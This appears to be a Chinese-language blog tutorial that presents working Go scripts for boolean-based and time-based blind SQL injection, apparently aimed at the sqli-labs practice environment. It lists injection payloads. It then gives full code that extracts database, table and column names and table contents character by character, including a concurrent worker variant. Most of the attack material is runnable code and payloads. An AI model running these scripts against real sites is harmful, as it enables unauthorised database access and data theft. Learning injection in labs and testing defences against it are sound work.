Golang 盲注脚本
阅读原文时间:2023年07月10日阅读:2

payload部分

其中脚本最重要的环节就是payload部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果。(还有如何绕过waf等等。。。)

bool盲注

下面是最基础的布尔型盲注的payload

' and length(database()=n)--+

' and (ascii(substr(database(),1))=110 --+

' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=2 --+

' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=128) --+

' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2--+

' and length((select id from emails limit 0,1)>1)--+

时间盲注

下面是时间盲注的payload

' and sleep(3)--+
' and if(length(database())=8,sleep(3),1)--+
' and if( payload   ,sleep(3),1)--+
' and if((ascii(substr(database(),1))=115),sleep(3),1)--

脚本思路

脚本思路也比较简单(只针对GET型注入,POST型同理)

布尔型

对于布尔型盲注,配合构造好的payload发起GET请求,检查响应体中是否有我们的判断依据。先判断出库名、字段名、表名对应的长度,将其作为参数构造循环,搭配limit来逐位判断。

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "net/url"
    "strings"
)
//发送get请求
func getRequest(payload string)  bool{
    payload = url.QueryEscape(payload)
    resp, err1 := http.Get(urlL + payload)
    if err1 != nil {
        log.Fatalln(err1)
    }
    body, err2:= ioutil.ReadAll(resp.Body)
    if err2 != nil {
        log.Fatalln(err2)
    }
    defer resp.Body.Close()
    if strings.Contains(string(body), "You are in...........") {
        return true
    }
    return false
}
//判断长度的方法
func testLength(payload string) int {
    var result int
    for i := 0; i < 50; i++ {
        payloadDbLength  := fmt.Sprintf("' and length(%s)=%d-- ", payload, i)
        f := getRequest(payloadDbLength)
        if f {
            result = i
            break
        }

    }
    return result
}
//逐位判断的方法
func testName(payload string, length int)  string{
    var result string
    for i := 1; i <= length; i++ {
        for j :=32 ; j <= 128; j++ {
            payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, j)
            f := getRequest(payloadDbName)
            if f {
                result += string(rune(j))
                fmt.Println(result)
            }
        }

    }
    return result
}
//该方法用于指定字段和表名的判断,需要给定参数表名和字段名
func testContext(tableName, columnName string)  {
    ctxList := make([]string,0)
    for i := 0; i < 50; i++  {
        ctxPayload := fmt.Sprintf("(select %s from %s limit %d,1)", columnName, tableName, i)
        ctxLength := testLength(ctxPayload)
        if ctxLength == 0 {
            break
        }
        ctx := testName(ctxPayload,ctxLength)
        ctxList = append(ctxList, ctx)
        fmt.Println(ctx)
    }
    fmt.Println(ctxList)
}

func sqlInjectBaseBool() {
    dbPayload := "database()"
    dbLength = testLength(dbPayload)
    fmt.Println(dbLength)
    dbName = testName(dbPayload,dbLength)
    test = ""
    fmt.Println(dbName)
    for i := 0; i < 20; i++ {
        tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
        tableLength := testLength(tablePayload)
        if tableLength == 0 {
            break
        }
        tableName := testName(tablePayload, tableLength)
        test = ""
        tableList = append(tableList, tableName)
        fmt.Println(tableName)
    }
    fmt.Println(tableList)
    //tableList := []string{"emails", "referers", "uagents", "users"}

    for _, tableName := range tableList {
        columnList := make([]string,0)
        fmt.Println(tableName)
        for i := 0; i < 20; i++ {
            columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
            columnLength := testLength(columnPayload)
            if columnLength == 0{
                break
            }
            columnName := testName(columnPayload,columnLength)
            test = ""
            columnList = append(columnList, columnName)

        }
        tableAndColumns[tableName] = columnList
    }
    fmt.Println(tableAndColumns)

}

时间型

同上布尔型,发送GET请求,不过判断的依据位服务器的响应时长是否超过了我们sleep()函数中设定的时间。

package main

import (
    "fmt"
    "log"
    "net/http"
    "net/url"
    "time"
)
//发送get请求。判断响应时长是否大于预定时间
func getRequestBaseTime(payload string)  bool{
    payload = url.QueryEscape(payload)
    //fmt.Println(payload)
    startTime := time.Now()
    resp, err1 := http.Get(urlL + payload)
    if err1 != nil {
        log.Fatalln(err1)
    }
    defer resp.Body.Close()
    endTime := time.Now()
    usedTime := endTime.Sub(startTime)

    if usedTime >= 3 * time.Second {
        return true
    }

    return false
}
//判断长度的方法
func testLengthBaseTime(payload string) int {
    var result int
    for i := 0; i < 50; i++ {
        payloadDbLength  := fmt.Sprintf("' and if(length(%s)=%d,sleep(3),1)-- ", payload, i)
        f := getRequestBaseTime(payloadDbLength)
        if f {
            result = i
            break
        }

    }
    return result
}
//判断表名、库名等的方法
func testNameBaseTime(payload string, length int)  string{
    var result string
    for i := 1; i <= length; i++ {
        for j :=32 ; j <= 128; j++ {
            payloadDbName := fmt.Sprintf("' and if((ascii(substr(%s,%d))=%d),sleep(3),1)-- ", payload, i, j)
            f := getRequestBaseTime(payloadDbName)
            if f {
                result += string(rune(j))
                fmt.Println(result)
            }
        }

    }
    return result
}

func sqlInjectBaseTime() {
    dbPayload := "database()"
    dbLength = testLengthBaseTime(dbPayload)
    fmt.Println(dbLength)
    dbName = testNameBaseTime(dbPayload,dbLength)
    test = ""
    fmt.Println(dbName)
    for i := 0; i < 20; i++ {
        tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
        tableLength := testLength(tablePayload)
        if tableLength == 0 {
            break
        }
        tableName := testNameBaseTime(tablePayload, tableLength)
        test = ""
        tableList = append(tableList, tableName)
        fmt.Println(tableName)
    }
    fmt.Println(tableList)
    //tableList := []string{"emails", "referers", "uagents", "users"}

    for _, tableName := range tableList {
        columnList := make([]string,0)
        fmt.Println(tableName)
        for i := 0; i < 20; i++ {
            columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
            columnLength := testLengthBaseTime(columnPayload)
            if columnLength == 0{
                break
            }
            columnName := testNameBaseTime(columnPayload,columnLength)
            test = ""
            columnList = append(columnList, columnName)

        }
        tableAndColumns[tableName] = columnList
    }
    fmt.Println(tableAndColumns)

}

关于并发

下面代码是对布尔型盲注的并发代码。时间上大概会快一倍。

在逐位进行猜解时,通过循环添加工人(添加线程),对ascii值进行多线程的判断。

逻辑也比较简单,时间盲注也可以使用此逻辑。。

但是仍存在问题没有解决:程序刚开始执行速度很快,但是到后面速度会下降到与不并发一样。。不太理解这里存在的问题。。。

package main

import (
    "fmt"
    "sync"
)

func sqlInject() {
    dbPayload := "database()"
    dbLength = testLength(dbPayload)
    fmt.Println(dbLength)
    dbName = testWorker(dbPayload,dbLength)
    test = ""
    fmt.Println(dbName)
    for i := 0; i < 20; i++ {
        tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i)
        tableLength := testLength(tablePayload)
        if tableLength == 0 {
            break
        }
        tableName := testWorker(tablePayload, tableLength)
        test = ""
        tableList = append(tableList, tableName)
        fmt.Println(tableName)
    }
    fmt.Println(tableList)
    //tableList := []string{"emails", "referers", "uagents", "users"}

    for _, tableName := range tableList {
        columnList := make([]string,0)
        fmt.Println(tableName)
        for i := 0; i < 20; i++ {
            columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i)
            columnLength := testLength(columnPayload)
            if columnLength == 0{
                break
            }
            columnName := testWorker(columnPayload,columnLength)
            test = ""
            columnList = append(columnList, columnName)

        }
        tableAndColumns[tableName] = columnList
    }
    fmt.Println(tableAndColumns)

}

//工人函数,从asciiCode这个通道内取出数据来判断。。
func worker(asciiCode chan int, payload string, i int, wg *sync.WaitGroup) {
    for code := range asciiCode {
        payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, code)
        f := getRequest(payloadDbName)
        if f {
            test += string(rune(code))
            fmt.Println(test)
            //close(asciiCode)
        }
        wg.Done()
    }
}

func testWorker(payload string, length int)  string{
    //var result string
    var wg sync.WaitGroup
    for j := 1; j <= length; j++ {
        //缓冲通道的容量也可以设置的大一些,可以稍微提升性能。
        asciiCode := make(chan int,10)
        for i := 0; i < 10; i++ {
            go worker(asciiCode, payload, j, &wg)
        }

        for i := 32; i <= 128; i++{
            wg.Add(1)
            asciiCode <- i
        }
        wg.Wait()
        close(asciiCode)

    }
    return test
}

踩坑

发起的GET请求中,URL字符串必须先进行编码。

如果直接使用GO的方法发起请求,由于字符串时没有经过编码处理的,特殊符号无法被服务器识别,就会产生400报错。

可以先手工对要发起的请求进行URL编码,也可以使用url.QueryEscape()

当你使用此函数时,会返回一个经过编码的字符串,其中所有的特殊符号都会经过编码。但是通常注入时,在URL中输入的+会被认为是一个空格。所以在payload中需要把+号换成空格。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章